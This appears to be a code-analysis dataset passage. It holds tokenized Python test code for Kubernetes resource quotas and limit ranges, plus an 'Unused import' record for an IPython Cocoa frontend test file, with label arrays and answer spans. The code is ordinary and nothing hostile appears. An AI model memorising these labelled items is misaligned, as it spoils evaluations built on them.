"\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quota_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpu", "\"_", ":_", "\"", "10", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "memory", "\"_", ":_", "\"", "2", "Gi", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "create", "\\u", "resource", "\\u", "quota_", "(_", "namespace_", ",_", "quota_", ",_", "name_", "=_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ",_", "update_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "={", "0", "}\"_", "._", "format_", "(_", "namespace_", ")_", ",_", "\"", "get", "\"_", ",_", "\"", "quot", "a", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "spec", "\"_", ")_", "._", "get_", "(_", "\"", "hard", "\"_", ")_", "._", "get_", "(_", "\"", "memory", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "2", "Gi", "\"_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SL", "imit", "Range_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "limit", "\\u", "range_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limits_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Containe", "r", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "default", "Request", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpu", "\"_", ":_", "\"", "100", "m", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "create", "\\u", "limit", "\\u", "range_", "(_", "\"", "default", "\"_", ",_", "limits_", ",_", "name_", "=_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "limit", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "kubec", "tl", "\\u", "out_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SL", "imit", "Range_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "limit", "\\u", "range_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "\"\"\"", "\\", "10", ";", "api", "Version", ":", " ", "v1", "\\", "10", ";", "kind", ":", " ", "Limit", "Range", "\\", "10", ";", "metadata", ":", "\\", "10", ";", " ", " ", "name", ":", " ", "{", "0", "}", "\\", "10", ";", "spec", ":", "\\", "10", ";", " ", " ", "limit", "s", ":", "\\", "10", ";", " ", " ", "-", " ", "default", ":", "\\", "10", ";", " ", " ", "cpu", ":", " ", "200", "m", "\\", "10", ";", " ", " ", "memory", ":", " ", "512", "Mi", "\\", "10", ";", " ", " ", " ", " ", "default", "Request", ":", "\\", "10", ";", " ", " ", "cpu", ":", " ", "100", "m", "\\", "10", ";", " ", " ", "memory", ":", " ", "256", "Mi", "\\", "10", ";", " ", " ", " ", " ", "type", ":", " ", "Containe", "r", "\\", "10", ";\"\"\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limits_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Containe", "r", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "default", "Request", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpu", "\"_", ":_", "\"", "100", "m", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "yaml", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "create", "\\u", "limit", "\\u", "range_", "(_", "\"", "default", "\"_", ",_", "limits_", ",_", "name_", "=_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ",_", "update_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "limit", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "spec", "\"_", ")_", "._", "get_", "(_", "\"", "limit", "s", "\"_", ")_", "[_", "0_", "]_", "._", "get_", "(_", "\"", "default", "Request", "\"_", ")_", "._", "get_", "(_", "\"", "cpu", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "100", "m", "\"_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "K", "8", "SL", "imit", "Range_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "one", "\\u", "limit", "\\u", "range_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "\"\"\"", "\\", "10", ";", "api", "Version", ":", " ", "v1", "\\", "10", ";", "kind", ":", " ", "Limit", "Range", "\\", "10", ";", "metadata", ":", "\\", "10", ";", " ", " ", "name", ":", " ", "{", "0", "}", "\\", "10", ";", "spec", ":", "\\", "10", ";", " ", " ", "limit", "s", ":", "\\", "10", ";", " ", " ", "-", " ", "default", ":", "\\", "10", ";", " ", " ", "cpu", ":", " ", "200", "m", "\\", "10", ";", " ", " ", "memory", ":", " ", "512", "Mi", "\\", "10", ";", " ", " ", " ", " ", "default", "Request", ":", "\\", "10", ";", " ", " ", "cpu", ":", " ", "100", "m", "\\", "10", ";", " ", " ", "memory", ":", " ", "256", "Mi", "\\", "10", ";", " ", " ", " ", " ", "type", ":", " ", "Containe", "r", "\\", "10", ";\"\"\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"/", "tmp", "/{", "0", "}.", "yaml", "\"_", "._", "format_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "filename_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "create", "\"_", ",_", "\"-", "f", "\"_", ",_", "filename_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wee", " ", "need", " ", "to", " ", "give", " ", "kubernetes", " ", "time", " ", "save", " ", "data", " ", "in", " ", "etcd", "_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "k", "8s", "_", "._", "get", "\\u", "limit", "\\u", "ranges_", "(_", "\"", "default", "\"_", ",_", "name_", ",_", "apis", "erver", "\\u", "url_", "=_", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "res_", "._", "get_", "(_", "\"", "metadata", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proc_", "=_", "Popen_", "(_", "[_", "\"", "kubec", "tl", "\"_", ",_", "\"--", "namespace", "=", "default", "\"_", ",_", "\"", "get", "\"_", ",_", "\"", "limit", "s", "\"_", ",_", "name_", ",_", "\"-", "o", "\"_", ",_", "\"", "json", "\"_", "]_", ",_", "stdout_", "=_", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kubec", "tl", "\\u", "out_", "=_", "json_", "._", "loads_", "(_", "proc_", "._", "communicate_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "kubec", "tl", "\\u", "out_", "._", "get_", "(_", "\"", "metadata", "\"_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "\"", "b", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ipython/ipython-py3k/IPython/deathrow/oldfrontend/cocoa/tests/test_cocoa_frontend.py
[ { "content": "# encoding: utf-8\n\"\"\"This file contains unittests for the \nIPython.frontend.cocoa.cocoa_frontend module.\n\"\"\"\n__docformat__ = \"restructuredtext en\"\n \n#---------------------------------------------------------------------------\n# Copyright (C) 2005 The IPython Development Team \n# \n# Distributed under the terms of the BSD License. The full license is in \n# the file COPYING, distributed as part of this software. \n#---------------------------------------------------------------------------\n \n#---------------------------------------------------------------------------\n# Imports \n#---------------------------------------------------------------------------\n\n# Tell nose to skip this module\n__test__ = {}\n\nfrom twisted.trial import unittest\nfrom twisted.internet.defer import succeed\n\nfrom IPython.kernel.core.interpreter import Interpreter\nimport IPython.kernel.engineservice as es\n\ntry:\n from IPython.frontend.cocoa.cocoa_frontend import IPythonCocoaController\n from Foundation import NSMakeRect\n from AppKit import NSTextView, NSScrollView\nexcept ImportError:\n # This tells twisted.trial to skip this module if PyObjC is not found\n skip = True\n\n#---------------------------------------------------------------------------\n# Tests\n#---------------------------------------------------------------------------\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestIPythonCocoaControler(unittest.TestCase):\n \"\"\"Tests for IPythonCocoaController\"\"\"\n\n\n\n\n\n\n\n", "metadata": "root.TestIPythonCocoaControler", "header": "['module', '___EOS___']", "index": 37 }, { "content": " def setUp(self):\n self.controller = IPythonCocoaController.alloc().init()\n self.engine = es.EngineService()\n self.engine.startService()", "metadata": "root.TestIPythonCocoaControler.setUp", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 40 }, { "content": " def tearDown(self):\n self.controller = None\n self.engine.stopService()", "metadata": "root.TestIPythonCocoaControler.tearDown", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 45 }, { "content": " def testControllerExecutesCode(self):\n code =\"\"\"5+5\"\"\"\n expected = Interpreter().execute(code)\n del expected['number']\n def removeNumberAndID(result):\n del result['number']\n del result['id']\n return result\n d = self.controller.execute(code)\n d.addCallback(removeNumberAndID)\n d.addCallback(lambda r: self.assertEquals(r, expected))", "metadata": "root.TestIPythonCocoaControler.testControllerExecutesCode", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 49 }, { "content": " def testControllerMirrorsUserNSWithValuesAsStrings(self):\n code = \"\"\"userns1=1;userns2=2\"\"\"\n def testControllerUserNS(result):\n self.assertEquals(self.controller.userNS['userns1'], 1)\n self.assertEquals(self.controller.userNS['userns2'], 2)\n self.controller.execute(code).addCallback(testControllerUserNS)", "metadata": "root.TestIPythonCocoaControler.testControllerMirrorsUserNSWithValuesAsStrings", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 61 }, { "content": " def testControllerInstantiatesIEngine(self):\n self.assert_(es.IEngineBase.providedBy(self.controller.engine))", "metadata": "root.TestIPythonCocoaControler.testControllerInstantiatesIEngine", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 }, { "content": " def testControllerCompletesToken(self):\n code = \"\"\"longNameVariable=10\"\"\"\n def testCompletes(result):\n self.assert_(\"longNameVariable\" in result)\n\n def testCompleteToken(result):\n self.controller.complete(\"longNa\").addCallback(testCompletes)\n\n self.controller.execute(code).addCallback(testCompletes)", "metadata": "root.TestIPythonCocoaControler.testControllerCompletesToken", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 71 }, { "content": " def testCurrentIndent(self):\n \"\"\"test that current_indent_string returns current indent or None.\n Uses _indent_for_block for direct unit testing.\n \"\"\"\n \n self.controller.tabUsesSpaces = True\n self.assert_(self.controller._indent_for_block(\"\"\"a=3\"\"\") == None)\n self.assert_(self.controller._indent_for_block(\"\") == None)\n block = \"\"\"def test():\\n a=3\"\"\"\n self.assert_(self.controller._indent_for_block(block) == \\\n ' ' * self.controller.tabSpaces)\n \n block = \"\"\"if(True):\\n%sif(False):\\n%spass\"\"\" % \\\n (' '*self.controller.tabSpaces,\n 2*' '*self.controller.tabSpaces)\n self.assert_(self.controller._indent_for_block(block) == \\\n 2*(' '*self.controller.tabSpaces))", "metadata": "root.TestIPythonCocoaControler.testCurrentIndent", "header": "['class', 'TestIPythonCocoaControler', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 82 } ]
[ { "span": "from twisted.internet.defer import succeed", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 42 }, { "span": "from Foundation import NSMakeRect", "start_line": 28, "start_column": 4, "end_line": 28, "end_column": 37 }, { "span": "from AppKit import NSTextView, NSScrollView", "start_line": 29, "start_column": 4, "end_line": 29, "end_column": 47 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Thi", "s", " ", "file", " ", "contain", "s", " ", "unittest", "s", " ", "for", " ", "the", " ", "\\", "10", ";", "IP", "yth", "on", ".", "front", "end", ".", "coco", "a", ".", "coco", "a", "\\u", "front", "end", " ", "module", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "docformat", "\\u\\u_", "=_", "\"", "restructur", "edt", "ext", " ", "en", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Copy", "right", " ", "(", "C", ")", " ", "2005", " ", " ", "The", " ", "IP", "yth", "on", " ", "Dev", "elo", "pme", "nt", " ", "Tea", "m", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Distribut", "ed", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "BS", "D", " ", "License", ".", " ", " ", "The", " ", "full", " ", "license", " ", "is", " ", "in", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "the", " ", "file", " ", "COPY", "ING", ",", " ", "distributed", " ", "as", " ", "part", " ", "of", " ", "this", " ", "software", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", " ", " ", " ", " _", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tell", " ", "nose", " ", "to", " ", "skip", " ", "this", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "test\\u", "\\u_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "twisted_", "._", "trial_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "twisted_", "._", "internet_", "._", "defer_", "import_", "succeed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "IP", "ython_", "._", "kernel_", "._", "core_", "._", "interpreter_", "import_", "Interpreter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "IP", "ython_", "._", "kernel_", "._", "engines", "ervice", "_", "as_", "es_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "IP", "ython_", "._", "frontend_", "._", "coco", "a_", "._", "coco", "a", "\\u", "frontend_", "import_", "IP", "yth", "on", "Coc", "oa", "Controller_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Foun", "dati", "on_", "import_", "NS", "Make", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "App", "Kit_", "import_", "NS", "Text", "View_", ",_", "NS", "Scroll", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "tell", "s", " ", "twist", "ed", ".", "tria", "l", " ", "to", " ", "skip", " ", "this", " ", "module", " ", "if", " ", "Py", "Obj", "C", " ", "is", " ", "not", " ", "found_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "skip_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "for", " ", "IP", "yth", "on", "Coc", "oa", "Controlle", "r", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "controller_", "=_", "IP", "yth", "on", "Coc", "oa", "Controller_", "._", "alloc_", "(_", ")_", "._", "init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "engine_", "=_", "es_", "._", "Engine", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "engine_", "._", "start", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "controller_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "engine_", "._", "stop", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", "er_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Controlle", "r", "Execut", "es", "Code_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "code_", "=_", "\"\"\"", "5", "+", "5", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "Interpreter_", "(_", ")_", "._", "execute_", "(_", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "expected_", "[_", "'", "number", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "remove", "Number", "And", "ID_", "(_", "result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "result_", "[_", "'", "number", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "result_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "self_", "._", "controller_", "._", "execute_", "(_", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Callback_", "(_", "remove", "Number", "And", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Callback_", "(_", "lambda_", "r_", ":_", "self_", "._", "assert", "Equals_", "(_", "r_", ",_", "expected_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "IP", "yth", "on", "Coc", "oa", "Control", 